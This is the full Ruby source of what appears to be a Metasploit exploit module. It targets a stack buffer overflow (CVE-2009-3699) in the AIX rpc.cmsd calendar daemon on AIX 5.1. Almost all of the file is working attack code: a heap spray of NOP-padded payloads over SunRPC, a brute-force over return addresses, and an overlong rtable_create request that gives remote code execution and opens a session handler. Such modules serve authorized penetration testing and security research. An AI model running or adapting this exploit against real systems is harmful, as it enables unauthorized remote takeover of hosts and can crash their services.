bcoles
112 lines
3.5 KiB
Ruby
112 lines
3.5 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::SunRPC
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include Msf::Exploit::Brute
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow vulnerability in opcode 21 handled by
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rpc.cmsd on AIX. By making a request with a long string passed to the first
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argument of the "rtable_create" RPC, a stack based buffer overflow occurs. This
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leads to arbitrary code execution.
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NOTE: Unsuccessful attempts may cause inetd/portmapper to enter a state where
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further attempts are not possible.
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},
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'Author' => [
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'Rodrigo Rubira Branco (BSDaemon)',
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'jduck',
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],
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'References' => [
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[ 'CVE', '2009-3699' ],
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[ 'OSVDB', '58726' ],
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[ 'BID', '36615' ],
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[ 'URL', 'https://web.archive.org/web/20091013155835/http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=825' ],
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[ 'URL', 'https://web.archive.org/web/20221204155746/http://aix.software.ibm.com/aix/efixes/security/cmsd_advisory.asc' ]
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],
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'Platform' => [ 'aix' ],
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'Payload' => {
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'Space' => 4104,
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'BadChars' => "\x00",
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# The RPC function splits the string by 0x40, watch out!
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# It's not a payload badchar since we're putting the payload elsewhere...
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'DisableNops' => true
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},
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'Targets' => [
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[
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'IBM AIX Version 5.1',
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{
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'Arch' => 'ppc',
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'Platform' => 'aix',
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'AIX' => '5.1',
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'Bruteforce' =>
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{
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'Start' => { 'Ret' => 0x2022dfc8 },
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# worked on ibmoz - 'Start' => { 'Ret' => 0x2022e8c8 },
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'Stop' => { 'Ret' => 0x202302c8 },
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'Step' => 600
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}
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}
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],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => '2009-10-07',
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'Notes' => {
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'Reliability' => [ UNRELIABLE_SESSION ],
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'Stability' => [ CRASH_SERVICE_RESTARTS ],
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'SideEffects' => [ IOC_IN_LOGS ]
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}
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)
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)
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end
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def brute_exploit(brute_target)
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if !@aixpayload
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datastore['AIX'] = target['AIX']
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@aixpayload = regenerate_payload.encoded
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end
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print_status('Trying to exploit rpc.cmsd with address 0x%x ...' % brute_target['Ret'])
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begin
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sunrpc_create('udp', 100068, 4)
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# spray the heap a bit (work around powerpc cache issues)
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buf = make_nops(1024 - @aixpayload.length)
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buf << @aixpayload
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xdr = Rex::Encoder::XDR.encode(buf, buf)
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10.times do
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sunrpc_call(7, xdr, 2)
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end
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# print_status("ATTACH DEBUGGER NOW!"); select(nil,nil,nil,5)
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buf = rand_text_alphanumeric(payload_space)
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buf << [brute_target['Ret']].pack('N')
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xdr = Rex::Encoder::XDR.encode(buf, '')
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sunrpc_authunix('localhost', 0, 0, [])
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sunrpc_call(21, xdr, 2)
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handler(sunrpc_callsock)
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sunrpc_destroy
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rescue Rex::Proto::SunRPC::RPCTimeout
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vprint_error('RPCTimeout')
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rescue Rex::Proto::SunRPC::RPCError => e
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vprint_error(e.to_s)
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rescue EOFError
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vprint_error('EOFError')
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end
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end
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end
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